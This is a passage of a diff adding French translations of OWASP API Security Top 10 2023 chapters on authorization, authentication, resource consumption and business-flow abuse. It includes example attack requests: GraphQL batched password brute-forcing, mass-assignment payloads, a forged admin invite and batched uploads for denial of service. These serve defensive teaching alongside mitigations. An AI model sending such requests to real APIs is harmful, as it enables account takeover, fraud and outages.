Lorsqu'un document d'un utilisateur est supprimé, une mutation GraphQL avec l'ID du document est envoyée à l'API. + +``` +POST /graphql +{ + "operationName":"deleteReports", + "variables":{ + "reportKeys":[""] + }, + "query":"mutation deleteReports($siteId: ID!, $reportKeys: [String]!) { + { + deleteReports(reportKeys: $reportKeys) + } + }" +} +``` + +L'API ne vérifie pas si l'utilisateur connecté a les autorisations pour supprimer le document avec l'ID fourni. Un attaquant peut supprimer les documents d'autres utilisateurs en remplaçant l'ID du document dans la requête. + +## Comment s'en prémunir + +* Implémentez un mécanisme d'autorisation approprié qui repose sur les politiques et la hiérarchie des utilisateurs. +* Utilisez le mécanisme d'autorisation pour vérifier si l'utilisateur connecté peut effectuer l'action demandée sur l'objet dans chaque fonction qui utilise une entrée du client pour accéder à la base de données. +* Préférez l'utilisation de valeurs GUID aléatoires et imprévisibles pour les ID. +* Écrivez des tests pour évaluer la vulnérabilité du mécanisme d'autorisation. Ne déployez pas de modifications qui feraient échouer les tests. + +## Références + +### OWASP + +* [Authorization Cheat Sheet][1] +* [Authorization Testing Automation Cheat Sheet][2] + +### Externes + +* [CWE-285: Improper Authorization][3] +* [CWE-639: Authorization Bypass Through User-Controlled Key][4] + +[1]: https://cheatsheetseries.owasp.org/cheatsheets/Authorization_Cheat_Sheet.html +[2]: https://cheatsheetseries.owasp.org/cheatsheets/Authorization_Testing_Automation_Cheat_Sheet.html +[3]: https://cwe.mitre.org/data/definitions/285.html +[4]: https://cwe.mitre.org/data/definitions/639.html +[5]: ./0xa5-broken-function-level-authorization.md diff --git a/editions/2023/fr/0xa2-broken-authentication.md b/editions/2023/fr/0xa2-broken-authentication.md new file mode 100644 index 000000000..83e58e322 --- /dev/null +++ b/editions/2023/fr/0xa2-broken-authentication.md @@ -0,0 +1,108 @@ +# API2:2023 Broken Authentication + +| Facteurs de menace / Vecteurs d'attaque | Faille de sécurité | Impact | +| - | - | - | +| Spécifique à l'API : Exploitabilité **Facile** | Prévalence **Répandue** : Détectabilité **Facile** | Technique **Grave** : Spécifique à l'organisation | +| Le mécanisme d'authentification est une cible facile pour les attaquants car il est exposé à tout le monde. Bien que des compétences techniques plus avancées puissent être nécessaires pour exploiter certaines failles d'authentification, des outils d'exploitation sont généralement disponibles. | Les erreurs de conception commises par les ingénieurs logiciels et en sécurité ou la complexité d'implémentation rendent les problèmes courants pour l'authentification des utilisateurs. Les méthodologies de détection des problèmes d'authentification sont disponibles et faciles à créer. | Les attaquants peuvent prendre le contrôle complet des comptes d'autres utilisateurs du système, lire leurs données personnelles et effectuer des actions sensibles en leur nom. Les systèmes sont peu susceptibles de pouvoir distinguer les actions des attaquants de celles des utilisateurs légitimes. | + + +## L'API est-elle vulnérable ? + +Les points d'accès (endpoints) et les flux d'authentification sont des actifs qui doivent être protégés. De plus, les mécanismes de "Mot de passe oublié / réinitialisation du mot de passe" doivent être traités de la même manière que les mécanismes d'authentification. + +Une API est vulnérable si elle : + +* Permet le bourrage d'informations d'identification, où l'attaquant utilise la force brute avec une liste de noms d'utilisateur et de mots de passe valides. +* Permet aux attaquants d'effectuer une attaque par force brute sur le même compte utilisateur, sans présenter de mécanisme de captcha/blocage de compte. +* Permet des mots de passe faibles. +* Envoie des détails d'authentification sensibles, tels que des jetons d'authentification et des mots de passe dans l'URL. +* Permet aux utilisateurs de modifier leur adresse e-mail, leur mot de passe actuel ou de réaliser d'autres opérations sensibles sans demander de confirmation de mot de passe. +* Ne valide pas l'authenticité des jetons. +* Accepte des jetons JWT non signés/faiblement signés (`{"alg":"none"}`) +* Ne valide pas la date d'expiration du JWT. +* Utilise des mots de passe en clair, non chiffrés ou faiblement hachés. +* Utilise des clés de chiffrement faibles. + +De plus, un microservice est vulnérable si : + +* D'autres microservices peuvent y accéder sans authentification. +* Il utilise des jetons faibles ou prévisibles pour appliquer l'authentification. + +## Exemple de scénarios d'attaque + +## Scénario #1 + +Pour effectuer une authentification utilisateur, le client doit envoyer une requête API comme celle-ci avec les informations d'identification de l'utilisateur : + +``` +POST /graphql +{ + "query":"mutation { + login (username:\"\",password:\"\") { + token + } + }" +} +``` + +Si les informations d'identification sont valides, un jeton d'authentification est renvoyé. Ce jeton doit être fourni dans les requêtes suivantes pour identifier l'utilisateur. Les tentatives de connexion sont soumises à une limitation de "rate limite": seules trois requêtes sont autorisées par minute. + +Pour effectuer une connexion par force brute avec le compte d'une victime, les attaquants utilisent le regroupement de requêtes GraphQL pour contourner la limitation du taux de requêtes, accélérant ainsi l'attaque : + +``` +POST /graphql +[ + {"query":"mutation{login(username:\"victim\",password:\"password\"){token}}"}, + {"query":"mutation{login(username:\"victim\",password:\"123456\"){token}}"}, + {"query":"mutation{login(username:\"victim\",password:\"qwerty\"){token}}"}, + ... + {"query":"mutation{login(username:\"victim\",password:\"123\"){token}}"}, +] +``` + +## Scénario #2 + +Pour mettre à jour l'adresse e-mail associée au compte d'un utilisateur, les clients doivent envoyer une requête API comme celle-ci : + +``` +PUT /account +Authorization: Bearer + +{ "email": "" } +``` + +Comme l'API ne demande pas aux utilisateurs de confirmer leur identité en fournissant leur mot de passe actuel, les attanquants qui sont capables de voler le jeton d'authentification pourraient être en mesure de prendre le contrôle du compte de la victime en demandant la réinitialisation du mot de passe après avoir mis à jour l'adresse e-mail du compte de la victime. + +## Comment s'en prémunir + +* Assurez-vous de connaître tous les flux possibles pour s'authentifier à l'API (mobile/web/liens profonds qui implémentent l'authentification en un clic/etc.). Demandez à vos ingénieurs quels flux vous avez manqués. +* Documentez-vous sur vos mécanismes d'authentification. Assurez-vous de comprendre ce qu'ils sont et comment ils sont utilisés. OAuth n'est pas une authentification, pas plus que les clés API. +* Ne réinventez pas la roue en matière d'authentification, de génération de jetons ou de stockage de mots de passe. Utilisez les standards. +* Les points d'accès de récupération des informations d'identification/mot de passe oublié doivent être traités comme des points d'accès de connexion. Ils doivent être protégés contre les attaques par la force brute : par le blocage de comptes ou la mise en place de "rate limiting" contraignant. +* Exigez une ré-authentification pour les opérations sensibles (par exemple, changer l'adresse e-mail du propriétaire du compte/le numéro de téléphone 2FA). +* Utilisez le [Cheat Sheet d'authentification OWASP][1]. +* Là où c'est possible, mettez en œuvre l'authentification multi-facteurs. +* Mettez en œuvre des mécanismes anti-brute force pour atténuer le bourrage d'informations d'identification, les attaques par dictionnaire et les attaques par force brute sur vos points d'accès d'authentification. Ce mécanisme doit être plus strict que les mécanismes de "rate limiting" réguliers sur vos API. +* Mettez en œuvre des mécanismes de [blocage de compte][2]/captcha pour prévenir les attaques par force brute contre des utilisateurs spécifiques. Mettez en œuvre des vérifications de mots de passe faibles. +* Les clés API ne doivent pas être utilisées pour l'authentification des utilisateurs. Elles ne doivent être utilisées que pour l'[authentification des clients API][3]. + +## Références + +### OWASP + +* [Authentication Cheat Sheet][1] +* [Key Management Cheat Sheet][4] +* [Credential Stuffing][5] + +### Externes + +* [CWE-204: Observable Response Discrepancy][6] +* [CWE-307: Improper Restriction of Excessive Authentication Attempts][7] + +[1]: https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html +[2]: https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/04-Authentication_Testing/03-Testing_for_Weak_Lock_Out_Mechanism(OTG-AUTHN-003) +[3]: https://cloud.google.com/endpoints/docs/openapi/when-why-api-key +[4]: https://cheatsheetseries.owasp.org/cheatsheets/Key_Management_Cheat_Sheet.html +[5]: https://owasp.org/www-community/attacks/Credential_stuffing +[6]: https://cwe.mitre.org/data/definitions/204.html +[7]: https://cwe.mitre.org/data/definitions/307.html diff --git a/editions/2023/fr/0xa3-broken-object-property-level-authorization.md b/editions/2023/fr/0xa3-broken-object-property-level-authorization.md new file mode 100644 index 000000000..b598fcbec --- /dev/null +++ b/editions/2023/fr/0xa3-broken-object-property-level-authorization.md @@ -0,0 +1,122 @@ +# API3:2023 Broken Object Property Level Authorization + +| Facteurs de menace / Vecteurs d'attaque | Faille de sécurité | Impact | +| - | - | - | +| Spécifique à l'API : Exploitabilité **Facile** | Prévalence **Courante** : Détectabilité **Facile** | Technique **Modérée** : Spécifique à l'organisation | +| Les API ont tendance à exposer des points d'accès qui retournent toutes les propriétés d'un objet. Cela est particulièrement vrai pour les API REST. Pour d'autres protocoles tels que GraphQL, il peut être nécessaire de formuler des requêtes spécifiques pour annoncer quelles propriétés doivent être retournées. Identifier ces propriétés supplémentaires qui peuvent être manipulées demande plus d'efforts, mais il existe quelques outils automatisés disponibles pour aider dans cette tâche. | L'inspection des réponses API suffit pour identifier les informations sensibles dans les représentations des objets retournés. Le fuzzing est généralement utilisé pour identifier des propriétés supplémentaires (cachées). L'écriture d'une requête API spécifique et l'analyse de sa réponse peut permettre de savoir si ces propriétés peuvent être modifiées. Une analyse des effets secondaires peut être nécessaire si la propriété cible n'est pas retournée dans la réponse API. | Un accès non autorisé aux propriétés d'objet privées/sensibles peut entraîner une divulgation de données, une perte de données ou une corruption de données. Dans certaines circonstances, un accès non autorisé aux propriétés d'objet peut entraîner une élévation de privilèges ou une prise de contrôle partielle/totale du compte. | + +## L'API est-elle vulnérable ? + +Lorsqu'un utilisateur est autorisé à accéder à un objet en utilisant un point d'accès API, il est important de valider que l'utilisateur à le droit d'accéder aux propriétés spécifiques de l'objet. + +Un point d'accès API est vulnérable si : + +* Le point d'accès API expose des propriétés d'un objet qui sont considérées comme sensibles et qui ne devraient pas être lues par l'utilisateur. (précédemment nommé : "[Excessive Data Exposure][1]") +* Le point d'accès API permet à un utilisateur de modifier, d'ajouter ou de supprimer la valeur d'une propriété sensible de l'objet à laquelle l'utilisateur ne devrait pas avoir accès (précédemment nommé : "[Mass Assignment][2]") + +## Exemple de scénarios d'attaque + +### Scénario #1 + +Une application de rencontres permet à un utilisateur de signaler d'autres utilisateurs pour un comportement inapproprié. +Dans le cadre de ce processus, l'utilisateur clique sur un bouton "signaler", et l'appel API suivant est déclenché : + +``` +POST /graphql +{ + "operationName":"reportUser", + "variables":{ + "userId": 313, + "reason":["offensive behavior"] + }, + "query":"mutation reportUser($userId: ID!, $reason: String!) { + reportUser(userId: $userId, reason: $reason) { + status + message + reportedUser { + id + fullName + recentLocation + } + } + }" +} +``` + +Le point d'accès API est vulnérable car il permet à l'utilisateur authentifié d'accéder à des propriétés sensibles de l'objet utilisateur, telles que "fullName" et "recentLocation", qui ne sont pas censées être accessibles par d'autres utilisateurs. + +### Scénario #2 + +Une plateforme de location en ligne, qui propose à un type d'utilisateurs ("hôtes") de louer leur appartement à un autre type d'utilisateurs ("invités"), exige que l'hôte accepte une réservation faite par un invité, avant de facturer l'invité pour le séjour. + +Dans le cadre de ce processus, un appel API est envoyé par l'hôte à `POST /api/host/approve_booking` avec la payload suivante : + +``` +{ + "approved": true, + "comment": "Check-in is after 3pm" +} +``` + +L'hôte rejoue la requête légitime, et ajoute la payload malveillante suivante : + +``` +{ + "approved": true, + "comment": "Check-in is after 3pm", + "total_stay_price": "$1,000,000" +} +``` + +Le point d'accès API est vulnérable car il n'y a pas de validation des droits d'accès de l'hôte à la propriété d'objet - `total_stay_price`, et l'invité sera facturé plus qu'il ne le devrait. + +### Scénario #3 + +Un réseau social basé sur de courtes vidéos, applique un filtrage de contenu restrictif et une censure. Même si une vidéo téléchargée est bloquée, l'utilisateur peut modifier la description de la vidéo en utilisant la requête API suivante : + +``` +PUT /api/video/update_video + +{ + "description": "a funny video about cats" +} +``` + +Un utilisateur frustré peut rejouer la requête légitime, et ajouter la payload malveillante suivante : + +``` +{ + "description": "a funny video about cats", + "blocked": false +} +``` + +Le point d'accès API est vulnérable car il n'y a pas de validation si l'utilisateur devrait avoir accès à la propriété d'objet - `blocked`, et l'utilisateur peut changer la valeur de `true` à `false` et débloquer son propre contenu bloqué. + +## Comment s'en prémunir + +* Lors de l'exposition d'un objet à l'aide d'un point d'accès API, assurez-vous toujours que l'utilisateur a accès aux propriétés de l'objet que vous exposez. +* Évitez d'utiliser des méthodes génériques telles que `to_json()` et `to_string()`. Au lieu de cela, choisissez spécifiquement les propriétés de l'objet que vous souhaitez retourner. +* Si possible, évitez d'utiliser des fonctions qui lient automatiquement l'entrée du client à des variables dans du code, des objets internes ou des propriétés d'objet ("Mass Assignment"). +* Autorisez uniquement les modifications des propriétés de l'objet qui peuvent être mises à jour par le client. +* Mettez en œuvre un mécanisme de validation des réponses basé sur un schéma en tant que couche de sécurité supplémentaire. Dans le cadre de ce mécanisme, définissez et appliquez les données retournées par toutes les méthodes API. +* Gardez les structures de données retournées au strict minimum, conformément aux exigences commerciales/fonctionnelles pour le point d'accès. + +## Références + +### OWASP + +* [API3:2019 Excessive Data Exposure - OWASP API Security Top 10 2019][1] +* [API6:2019 - Mass Assignment - OWASP API Security Top 10 2019][2] +* [Mass Assignment Cheat Sheet][3] + +### Externes + +* [CWE-213: Exposure of Sensitive Information Due to Incompatible Policies][4] +* [CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes][5] + +[1]: https://owasp.org/API-Security/editions/2019/en/0xa3-excessive-data-exposure/ +[2]: https://owasp.org/API-Security/editions/2019/en/0xa6-mass-assignment/ +[3]: https://cheatsheetseries.owasp.org/cheatsheets/Mass_Assignment_Cheat_Sheet.html +[4]: https://cwe.mitre.org/data/definitions/213.html +[5]: https://cwe.mitre.org/data/definitions/915.html diff --git a/editions/2023/fr/0xa4-unrestricted-resource-consumption.md b/editions/2023/fr/0xa4-unrestricted-resource-consumption.md new file mode 100644 index 000000000..5d9e6e17c --- /dev/null +++ b/editions/2023/fr/0xa4-unrestricted-resource-consumption.md @@ -0,0 +1,133 @@ +# API4:2023 Unrestricted Resource Consumption + +| Facteurs de menace / Vecteurs d'attaque | Faille de sécurité | Impact | +| - | - | - | +| Spécifique à l'API : Exploitabilité **Moyenne** | Prévalence **Répandue** : Détection **Facile** | Technique **Grave** : Spécifique à l'organisation | +| L'exploitation de cette faille nécessite des requêtes API simples. Plusieurs requêtes simultanées peuvent être effectuées à partir d'un seul ordinateur local ou en utilisant des ressources cloud. La plupart des outils automatisés disponibles sont conçus pour provoquer un déni de service (DoS) via des charges de trafic élevées, impactant le taux de service des API. | Il est courant de trouver des API qui ne limitent pas les interactions client ou la consommation de ressources. Écrire et tester avec des requêtes API incluant des paramètres qui contrôlent le nombre de ressources à renvoyer et qui effectuent une analyse de l'état/du temps/de la longueur de la réponse, devraient permettre d'identifier le problème. Il en va de même pour les opérations groupées. Bien que les attaquants n'aient pas de visibilité sur l'impact des coûts, cela peut être déduit en fonction du modèle commercial/tarifaire des fournisseurs de services (par exemple, le fournisseur de services cloud). | L'exploitation peut entraîner un déni de service (DoS) en raison de l'épuisement des ressources, mais elle peut également entraîner une augmentation des coûts opérationnels tels que ceux liés à l'infrastructure : en raison d'une demande accrue en CPU, l'augmentation des besoins en stockage sur le cloud, etc. | + +## L'API est-elle vulnérable ? + +Satisfaire les requêtes API nécessite des ressources telles que la bande passante réseau, le CPU, la mémoire et le stockage. Parfois, les ressources requises sont mises à disposition par les fournisseurs de services via des intégrations API, et payées par requête, comme l'envoi d'e-mails/SMS/appels téléphoniques, la validation biométrique, etc. + +Une API est vulnérable si au moins l'une des limites suivantes est manquante ou définie de manière inappropriée (par exemple, trop basse/élevée) : + +* Limites de temps d'exécution +* Mémoire allouable maximale +* Nombre maximal de descripteurs de fichiers (file descriptors) +* Nombre maximal de processus +* Taille maximale de fichier téléchargeable (upload) +* Nombre d'opérations à effectuer dans une seule requête client API (par exemple, le regroupement GraphQL) +* Nombre d'enregistrements par page à renvoyer dans une seule requête-réponse +* Limite de dépenses des fournisseurs de services tiers + +## Exemple de scénarios d'attaque + +### Scénario #1 + +Un réseau social a mis en place un flux de "mot de passe oublié" utilisant la vérification par SMS, permettant à l'utilisateur de recevoir un jeton unique via SMS pour réinitialiser son mot de passe. + +Une fois qu'un utilisateur clique sur "mot de passe oublié", un appel API est envoyé depuis le navigateur de l'utilisateur vers l'API back-end : + +``` +POST /initiate_forgot_password + +{ + "step": 1, + "user_number": "6501113434" +} +``` + +Ensuite, en coulisses, un appel API est envoyé depuis le back-end vers une API tierce qui se charge de l'envoi du SMS : + +``` +POST /sms/send_reset_pass_code + +Host: willyo.net + +{ + "phone_number": "6501113434" +} +``` + +Le fournisseur tiers, Willyo, facture 0,05 $ par envoi SMS. + +Un attaquant écrit un script qui envoie le premier appel API des dizaines de milliers de fois. Le back-end suit et demande à Willyo d'envoyer des dizaines de milliers de SMS, ce qui conduit l'entreprise à perdre des milliers de dollars en quelques minutes. + +### Scénario #2 + +Un endpoint API GraphQL permet à l'utilisateur de télécharger une photo de profil. + +``` +POST /graphql + +{ + "query": "mutation { + uploadPic(name: \"pic1\", base64_pic: \"R0FOIEFOR0xJVA…\") { + url + } + }" +} +``` + +Une fois le téléchargement terminé, l'API génère plusieurs miniatures de tailles différentes basées sur l'image téléchargée. Cette opération graphique consomme beaucoup de mémoire. + +L'API met en œuvre une protection traditionnelle de "rate limiting" - un utilisateur ne peut pas accéder trop de fois à l'endpoint GraphQL en peu de temps. L'API vérifie également la taille de l'image téléchargée avant de générer des miniatures pour éviter de traiter des images trop grandes. + +Un attaquant peut facilement contourner ces mécanismes, en exploitant la nature flexible de GraphQL : + +``` +POST /graphql + +[ + {"query": "mutation {uploadPic(name: \"pic1\", base64_pic: \"R0FOIEFOR0xJVA…\") {url}}"}, + {"query": "mutation {uploadPic(name: \"pic2\", base64_pic: \"R0FOIEFOR0xJVA…\") {url}}"}, + ... + {"query": "mutation {uploadPic(name: \"pic999\", base64_pic: \"R0FOIEFOR0xJVA…\") {url}}"}, +} +``` + +Comme l'API ne limite pas le nombre de fois où l'opération `uploadPic` peut être tentée, l'appel entraînera l'épuisement de la mémoire du serveur et un déni de service. + +### Scénario #3 + +Un fournisseur de services permet aux clients de télécharger des fichiers de grande taille via une API. Ces fichiers sont stockés dans un stockage d'objets cloud et ne changent pas souvent. Le fournisseur de services s'appuie sur un service de cache pour avoir un meilleur taux de service et pour maintenir une faible consommation de bande passante. Le service de cache ne met en cache que les fichiers ayant une taille de maximum 15 Go. + +Quand l'un des fichiers est mis à jour, sa taille augmente à 18 Go. Tous les clients du service commencent immédiatement à télécharger la nouvelle version. Comme il n'y a pas eu d'alertes sur le coût de consommation, ni de limite de coût maximal pour le service cloud, la facture mensuelle suivante passe de 13 $ en moyenne à 8 000 $. + +## Comment s'en prémunir + +* Utilisez une solution qui facilite la limitation de la [mémoire][1], du [CPU][2], du [nombre de redémarrages][3], des descripteurs de fichiers et des processus tels que les conteneurs / le code Serverless (par exemple, les Lambdas). +* Définissez et appliquez une taille maximale de données sur tous les paramètres et payloads entrants, telle que la longueur maximale des chaînes, le nombre maximal d'éléments dans les tableaux et la taille maximale des fichiers téléchargés (qu'ils soient stockés localement ou dans un stockage cloud). +* Mettez en place une limite sur la fréquence à laquelle un client peut interagir avec l'API dans un intervalle de temps défini (rate limiting). +* Le "rate limiting" doit être ajustée méticuleusement en fonction des besoins de l'entreprise. Certains points d'accès API peuvent nécessiter des politiques plus strictes. +* Limitez/ralentissez le nombre de fois ou la fréquence à laquelle un client/utilisateur API défini peut exécuter certaines opérations (par exemple, valider un OTP, ou demander une récupération de mot de passe sans visiter l'URL à usage unique). +* Ajoutez une validation appropriée côté serveur pour les paramètres de la requête et son contenu, en particulier ceux qui contrôlent le nombre d'enregistrements à renvoyer dans la réponse (principe de pagination). +* Configurez des limites de dépenses pour tous les fournisseurs de services/intégrations API. Lorsque cela n'est pas possible, configurez plutôt des alertes de facturation. + +## Références + +### OWASP + +* ["Availability" - Web Service Security Cheat Sheet][5] +* ["DoS Prevention" - GraphQL Cheat Sheet][6] +* ["Mitigating Batching Attacks" - GraphQL Cheat Sheet][7] + +### Externes + +* [CWE-770: Allocation of Resources Without Limits or Throttling][8] +* [CWE-400: Uncontrolled Resource Consumption][9] +* [CWE-799: Improper Control of Interaction Frequency][10] +* "Rate Limiting (Throttling)" - [Security Strategies for Microservices-based + Application Systems][11], NIST + +[1]: https://docs.docker.com/config/containers/resource_constraints/#memory +[2]: https://docs.docker.com/config/containers/resource_constraints/#cpu +[3]: https://docs.docker.com/engine/reference/commandline/run/#restart +[4]: https://docs.docker.com/engine/reference/commandline/run/#ulimit +[5]: https://cheatsheetseries.owasp.org/cheatsheets/Web_Service_Security_Cheat_Sheet.html#availability +[6]: https://cheatsheetseries.owasp.org/cheatsheets/GraphQL_Cheat_Sheet.html#dos-prevention +[7]: https://cheatsheetseries.owasp.org/cheatsheets/GraphQL_Cheat_Sheet.html#mitigating-batching-attacks +[8]: https://cwe.mitre.org/data/definitions/770.html +[9]: https://cwe.mitre.org/data/definitions/400.html +[10]: https://cwe.mitre.org/data/definitions/799.html +[11]: https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-204.pdf diff --git a/editions/2023/fr/0xa5-broken-function-level-authorization.md b/editions/2023/fr/0xa5-broken-function-level-authorization.md new file mode 100644 index 000000000..1adcddac0 --- /dev/null +++ b/editions/2023/fr/0xa5-broken-function-level-authorization.md @@ -0,0 +1,70 @@ +# API5:2023 Broken Function Level Authorization + +| Facteurs de menace / Vecteurs d'attaque | Faille de sécurité | Impact | +| - | - | - | +| Spécifique à l'API : Exploitabilité **Facile** | Prévalence **Courante** : Détectabilité **Facile** | Technique **Grave** : Spécifique à l'organisation | +| L'exploitation nécessite que l'attaquant envoie des appels API légitimes à un point d'accès API auquel il ne devrait pas avoir accès en tant qu'utilisateur anonyme ou utilisateur régulier, non privilégié. Les points d'accès exposés seront facilement exploités. | Les vérifications d'autorisation pour une fonction ou une ressource sont généralement gérées via la configuration ou le code. Implémenter des vérifications appropriées peut être une tâche confuse car les applications modernes peuvent contenir de nombreux types de rôles, de groupes et de hiérarchies d'utilisateurs complexes (par exemple, des sous-utilisateurs ou des utilisateurs avec plus d'un rôle). Il est plus facile de découvrir ces failles dans les API car les API sont plus structurées et l'accès à différentes fonctions est plus prévisible. | De telles failles permettent aux attaquants d'accéder à des fonctionnalités non autorisées. Les fonctions d'administration sont des cibles clés pour ce type d'attaque et peuvent entraîner une divulgation de données, une perte de données ou une corruption de données. En fin de compte, cela peut entraîner une interruption de service. | + + +## L'API est-elle vulnérable ? + +La meilleure façon de trouver des problèmes d'autorisation au niveau de la fonction est de réaliser une analyse approfondie du mécanisme d'autorisation tout en gardant à l'esprit la hiérarchie des utilisateurs, les différents rôles ou groupes dans l'application, et en posant les questions suivantes : + +* Un utilisateur régulier peut-il accéder à des points d'accès d'administration ? +* Un utilisateur peut-il effectuer des actions sensibles (par exemple, création, modification ou suppression) auxquelles il ne devrait pas avoir accès en modifiant simplement la méthode HTTP (par exemple, de `GET` à `DELETE`) ? +* Un utilisateur du groupe X peut-il accéder à une fonction qui devrait être exposée uniquement aux utilisateurs du groupe Y, en devinant simplement l'URL de l'endpoint et les paramètres (par exemple, `/api/v1/users/export_all`) ? + +Ne supposez pas qu'un point d'accès API est quelconque ou au contraire est un endpoint d'administration seulement par son URL. + +Certains développeurs peuvent choisir d'exposer la plupart des points d'accès d'administration sous un chemin relatif spécifique, comme `/api/admins`, mais il est également très courant de les trouver sous d'autres chemins relatifs, partagés avec d'autres endpoints plus classiques dans les applications, comme `/api/users`. + +## Exemple de scénarios d'attaque + +### Scénario #1 + +Pendant le processus d'inscription pour une application qui n'autorise que les utilisateurs invités à rejoindre, l'application mobile déclenche un appel API à `GET /api/invites/{invite_guid}`. La réponse contient un JSON avec les détails de l'invitation, y compris le rôle de l'utilisateur et l'e-mail de l'utilisateur. + +Un attaquant duplique la requête et manipule la méthode HTTP et le point d'accès pour `POST /api/invites/new`. Cet endpoint ne devrait être accessible que par les administrateurs via la console d'administration. L'endpoint ne met pas en œuvre de vérifications d'autorisation au niveau de la fonction. + +L'attaquant exploite le problème et envoie une nouvelle invitation avec des privilèges administrateur : + +``` +POST /api/invites/new + +{ + "email": "attacker@somehost.com", + "role":"admin" +} +``` + +Plus tard, l'attaquant utilise l'invitation malveillante pour se créer un compte administrateur et obtenir un accès complet au système. + +### Scénario #2 + +Une API contient un point d'accès qui ne devrait être exposé qu'aux administrateurs - `GET /api/admin/v1/users/all`. Cet endpoint renvoie les détails de tous les utilisateurs de l'application et ne met pas en œuvre de vérifications d'autorisation au niveau de la fonction. Un attaquant ayant compris la structure de l'API devine adroitement comment accéder à cet endpoint, par l'URL, et retrouve ainsi tous les détails sensibles des utilisateurs pour cette application. + +## Comment s'en prémunir ? + +Votre application doit disposer d'un module d'autorisation cohérent et facile à analyser qui est invoqué depuis toutes vos fonctions métier. Souvent, cette protection est fournie par un ou plusieurs composants externes au code de l'application. + +* Le(s) mécanisme(s) de contrôle d'accès doivent refuser tout accès par défaut, exigeant des autorisations explicites pour des rôles spécifiques pour accéder à chaque fonction. +* Passez en revue vos endpoints contre les failles d'autorisation au niveau de la fonction, tout en gardant à l'esprit la logique métier de l'application et la hiérarchie des groupes. +* Assurez-vous que tous vos contrôleurs d'administration héritent d'un contrôleur d'administration abstrait qui implémente des vérifications d'autorisation basées sur le groupe/le rôle de l'utilisateur. +* Assurez-vous que les fonctions d'administration adjointes à un contrôleur régulier (i.e. non dédié à l'admistration de l'application, e.g. : PaymentController, InvitationController, etc.) implémentent des vérifications d'autorisation basées sur le groupe et le rôle de l'utilisateur. + +## Références + +### OWASP + +* [Forced Browsing][1] +* "A7: Missing Function Level Access Control", [OWASP Top 10 2013][2] +* [Access Control][3] + +### Externes + +* [CWE-285: Improper Authorization][4] + +[1]: https://owasp.org/www-community/attacks/Forced_browsing +[2]: https://github.com/OWASP/Top10/raw/master/2013/OWASP%20Top%2010%20-%202013.pdf +[3]: https://owasp.org/www-community/Access_Control +[4]: https://cwe.mitre.org/data/definitions/285.html diff --git a/editions/2023/fr/0xa6-unrestricted-access-to-sensitive-business-flows.md b/editions/2023/fr/0xa6-unrestricted-access-to-sensitive-business-flows.md new file mode 100644 index 000000000..7e606c184 --- /dev/null +++ b/editions/2023/fr/0xa6-unrestricted-access-to-sensitive-business-flows.md @@ -0,0 +1,74 @@ +# API6:2023 Unrestricted Access to Sensitive Business Flows + +| Facteurs de menace/Vecteurs d'attaque | Faille de sécurité | Impacts | +| - | - | - | +| Spécifique à l'API : Exploitabilité **Facile** | Prévalence **Répandue** : Détectabilité **Moyenne** | Technique **Modérée** : Spécifique à l'organisation | +| L'exploitation implique généralement de comprendre le modèle commercial soutenu par l'API, de trouver des flux commerciaux sensibles et d'automatiser l'accès à ces flux, causant des dommages à l'entreprise. | Le manque de vue holistique de l'API pour soutenir pleinement les exigences commerciales tend à contribuer à la prévalence de ce problème. Les attaquants identifient manuellement les ressources (par exemple, les points d'accès) impliquées dans le flux cible et comment elles fonctionnent ensemble. Si des mécanismes d'atténuation sont déjà en place, les attaquants doivent trouver un moyen de les contourner. | En général, l'impact technique n'est pas attendu. L'exploitation pourrait nuire à l'entreprise de différentes manières, par exemple : empêcher les utilisateurs légitimes d'acheter un produit, ou entraîner une inflation dans l'économie. | + +## L'API est-elle vulnérable ? + +Lors de la création d'un point d'accès (endpoint) API, il est important de comprendre le flux commercial qu'il expose. Certains flux commerciaux sont plus sensibles que d'autres, dans le sens où un accès excessif à ces flux peut nuire à l'entreprise. + +Des exemples courants de flux commerciaux sensibles et des risques d'accès excessif associés : + +* Achat d'un produit - un attaquant peut acheter tout le stock d'un article très demandé en une fois et de tous les revendre à un prix plus élevé +* Création d'un flux de commentaires/publications - un attaquant peut spammer le système +* Réservation - un attaquant peut réserver tous les créneaux horaires disponibles + et empêcher d'autres utilisateurs d'utiliser le système + +Le risque d'accès excessif peut varier entre les secteurs et les entreprises. Par exemple, la création de publications par un script peut être considérée comme un risque de spam par un réseau social, mais encouragée par un autre réseau social. + +Une API est vulnérable si elle expose un flux commercial sensible sans restreindre de manière appropriée l'accès à celui-ci. + +## Exemple de scénarios d'attaque + +### Scénario #1 + +Une entreprise de tech annonce qu'elle va sortir une nouvelle console de jeu le jour de Thanksgiving. Le produit est très demandé et le stock est limité. Un attaquant écrit un code pour acheter automatiquement le nouveau produit et finaliser la transaction. + +Le jour de la sortie, l'attaquant exécute le code distribué sur différentes adresses IP et emplacements. L'API ne met pas en place les protections appropriées et permet à l'attaquant d'acheter la majorité du stock avant les autres utilisateurs légitimes. + +Plus tard, l'attaquant revend le produit sur une autre plateforme pour un prix beaucoup plus élevé. + +### Scénario #2 + +Une compagnie aérienne propose l'achat de billets en ligne sans frais d'annulation. Un utilisateur malveillant réserve 90% des sièges d'un vol désiré. + +Quelques jours avant le vol, l'utilisateur malveillant annule tous les billets en une seule fois, forçant la compagnie aérienne à réduire les prix des billets pour remplir le vol. + +À ce stade, l'utilisateur achète un seul billet qui est beaucoup moins cher que le billet original. + +### Scénario #3 + +Une application de covoiturage propose un programme de parrainage - les utilisateurs peuvent inviter leurs amis et gagner des crédits pour chaque ami qui a rejoint l'application. Ces crédits peuvent être utilisés plus tard comme de l'argent pour réserver des trajets. + +Un attaquant exploite ce flux en écrivant un script pour automatiser le processus d'inscription, chaque nouvel utilisateur ajoutant des crédits au portefeuille de l'attaquant. + +L'attaquant peut ensuite profiter de trajets gratuits ou vendre les comptes avec des crédits excessifs contre de l'argent. + +## Comment s'en prémunir ? + +La planification de mitigation doit être effectuée en deux couches : + +* Business - identifier les flux commerciaux qui pourraient nuire à l'entreprise s'ils "taient utilisés de manière excessive. +* Ingénierie - choisir les bons mécanismes de protection pour atténuer le risque commercial. + + Certains mécanismes de protection sont plus simples tandis que d'autres sont plus difficiles à mettre en œuvre. Les méthodes suivantes sont utilisées pour ralentir les menaces automatisées : + + * Empreinte de l'appareil : refuser le service aux appareils clients inattendus (par exemple, les navigateurs sans interface graphique) tend à inciter les acteurs malveillants à utiliser des solutions plus 